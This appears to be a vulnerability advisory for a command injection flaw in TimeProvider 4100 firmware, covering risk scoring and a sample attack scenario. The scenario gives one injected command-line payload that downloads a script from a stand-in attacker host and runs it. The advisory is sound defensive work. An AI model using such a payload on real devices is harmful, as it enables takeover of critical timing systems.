Timeprovider 4100 Firmware CVE-2025-47901

While the CVSS 8.9 score indicates high severity with complete confidentiality, integrity, and availability impact across both vulnerable and subsequent systems (VC:H/VI:H/VA:H/SC:H/SI:H/SA:H), the real-world risk is moderated by several factors. The EPSS score of 0.28% (51st percentile) suggests relatively low likelihood of mass exploitation in the wild, consistent with the adjacent network access requirement that limits attacker reach compared to internet-facing vulnerabilities. The requirement for low-privilege authentication (PR:L) provides a first barrier, though this may be weak if default credentials exist or if the device is deployed in environments with shared network access. No CISA KEV listing indicates this is not confirmed as actively exploited. The vulnerability's high technical impact combined with adjacency requirements makes it a priority for organizations operating precision timing infrastructure in environments where network segmentation may be incomplete, but lower priority than remotely exploitable RCE vulnerabilities with similar CVSS scores. The automatable nature (UI:N, AC:L) means exploitation can be scripted once network access is achieved, elevating risk in targeted attacks against time-critical infrastructure like financial trading networks, telecommunications, or power grid synchronization systems.

An attacker who has compromised a workstation or server on the same network segment as the TimeProvider 4100 (such as through phishing or other lateral movement) authenticates to the device using low-privilege credentials, potentially default or shared service accounts. Through a web management interface or CLI command that accepts user input, the attacker injects shell metacharacters and malicious commands (for example, appending "; wget http://attacker.com/payload.sh | bash #" to a legitimate parameter). The vulnerable firmware fails to sanitize this input before passing it to a system shell, executing the attacker's commands with the privileges of the timing service. The attacker gains complete control over the precision timing source, potentially manipulating time stamps to disrupt financial transactions, tamper with logging systems for forensic evasion, or cause cascading failures in time-dependent protocols across the network.